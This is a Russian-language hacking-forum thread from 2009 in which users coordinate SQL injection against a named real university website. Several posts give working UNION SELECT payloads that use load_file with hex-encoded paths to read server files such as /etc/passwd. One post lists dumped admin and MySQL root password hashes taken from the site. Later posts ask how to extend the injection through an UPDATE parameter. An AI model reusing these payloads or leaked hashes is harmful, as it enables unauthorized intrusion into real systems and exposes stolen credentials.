06.12.2009, 10:37
|
|
Познавший АНТИЧАТ
Регистрация: 24.06.2008
Сообщений: 1,996
С нами:
9410786
Репутация:
2731
|
|
Кинь сайт в личку, или пробуй:
Код:
http://www.site.ru/pop/search.cgi?q=1)+order+by+1%23
|
|
|
06.12.2009, 15:02
|
|
Участник форума
Регистрация: 11.10.2009
Сообщений: 116
С нами:
8728261
Репутация:
211
|
|
есть функция load_file
magic_quotes_on
удалось прочитать несколько файлов, вот только их содержимое несовсем понятно што из этого можна извлечь полезного (в мозиле у меня все отобразилось в непонятных кодах,в гугл хроме нормально)
http://wolfpack.loyno.edu/news.php?action=view&id=-12+union+select+1,load_file%280x2f7661722f61646d2f 77746d70%29,3,4,5--
/var/adm/wtmp
http://wolfpack.loyno.edu/news.php?action=view&id=-12+union+select+1,load_file(0x2f6574632f75746d70), 3,4,5--
/var/adm/qacct
|
|
|
|
06.12.2009, 16:27
|
|
Banned
Регистрация: 02.12.2008
Сообщений: 43
С нами:
9178715
Репутация:
4
|
|
Сообщение от 547
-есть функция load_file
-што из этого можна извлечь полезного
обычно читаются файлы настроек, исходники скриптов. соответсвенно от твоих целей и нужно действовать.
ЗЫ Задай себе вопрос- что я хочу? 
Последний раз редактировалось x[0]x; 06.12.2009 в 16:30..
|
|
|
|
06.12.2009, 17:29
|
|
Участник форума
Регистрация: 11.10.2009
Сообщений: 116
С нами:
8728261
Репутация:
211
|
|
Сообщение от x[0]x
обычно читаются файлы настроек, исходники скриптов. соответсвенно от твоих целей и нужно действовать.
ЗЫ Задай себе вопрос- что я хочу? да мнебы конфиги, или возможно логи прочитать)
но я с етой системой незнаком(
|
|
|
|
06.12.2009, 18:40
|
|
Banned
Регистрация: 02.12.2008
Сообщений: 43
С нами:
9178715
Репутация:
4
|
|
Сообщение от 547
да мнебы конфиги, или возможно логи прочитать)
но я с етой системой незнаком(
никс ситемка
------------------
http://wolfpack.loyno.edu/news.php?action=view&id=-12+union+select+1,load_file(0x2f6574632f7061737377 64),3,4,5-- /etc/passwd
-------------------
|
|
|
|
06.12.2009, 19:17
|
|
Участник форума
Регистрация: 11.10.2009
Сообщений: 116
С нами:
8728261
Репутация:
211
|
|
Сообщение от x[0]x
никс ситемка
------------------
http://wolfpack.loyno.edu/news.php?action=view&id=-12+union+select+1,load_file(0x2f6574632f7061737377 64),3,4,5-- /etc/passwd
------------------- да я /etc/passwd в первую очередь прочитал)
но там всеравно сильно невыжмеш с нее(
кавычка слешируется)
|
|
|
|
06.12.2009, 16:23
|
|
Участник форума
Регистрация: 25.04.2007
Сообщений: 176
С нами:
10024314
Репутация:
739
|
|
админка:
Код:
forester:*676243218923905CF94CB52A3C9D3EB30CE8E20D
bsimpson:*81BDE0E8E0BA1F502F94C27035B496267B88E712
mysql:
Код:
root:*E73484FBEEB33C026E5ADBCA26E267B837C846E3:Y
|
|
|
|
06.12.2009, 18:12
|
|
Постоянный
Регистрация: 12.05.2009
Сообщений: 395
С нами:
8947056
Репутация:
229
|
|
Такой вопрос по mysql-inj...
Я хочу проапдейтить колонку, но про апдейтить так чтобы в нее была записана какая либа сущ. инфа из таблицы (но другой)(т.е. есть иньекция в параметре update)
Как это сделать? И возможно ли?
Последний раз редактировалось wolmer; 06.12.2009 в 18:55..
|
|
|
|
06.12.2009, 18:49
|
|
Banned
Регистрация: 02.12.2008
Сообщений: 43
С нами:
9178715
Репутация:
4
|
|
Сообщение от wolmer
Такой вопрос по mysql-inj...
Я хочу проапдейтить колонку, но про апдейтить так чтобы в нее была записана какая либа сущ. инфа из таблицы (но другой)
Как это сделать? И возможно ли?
какими средствами ты распологаешь? доступ? права? 
|
|
|
|
06.12.2009, 18:56
|
|
Постоянный
Регистрация: 12.05.2009
Сообщений: 395
С нами:
8947056
Репутация:
229
|
|
Сообщение от x[0]x
какими средствами ты распологаешь? доступ? права? Подправил пост (точно сформулировал теперь)
|
|
|
|
|
 |
|
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|
![Аватар для x[0]x](/avatars/avatar69745.jpg?1737867){kind=avatar}
![Аватар для x[0]x](/avatars/avatar69745.jpg?1738240){kind=avatar}
![Аватар для x[0]x](/avatars/avatar69745.jpg?1738258){kind=avatar}
Похожие темы
Комбинированный вид
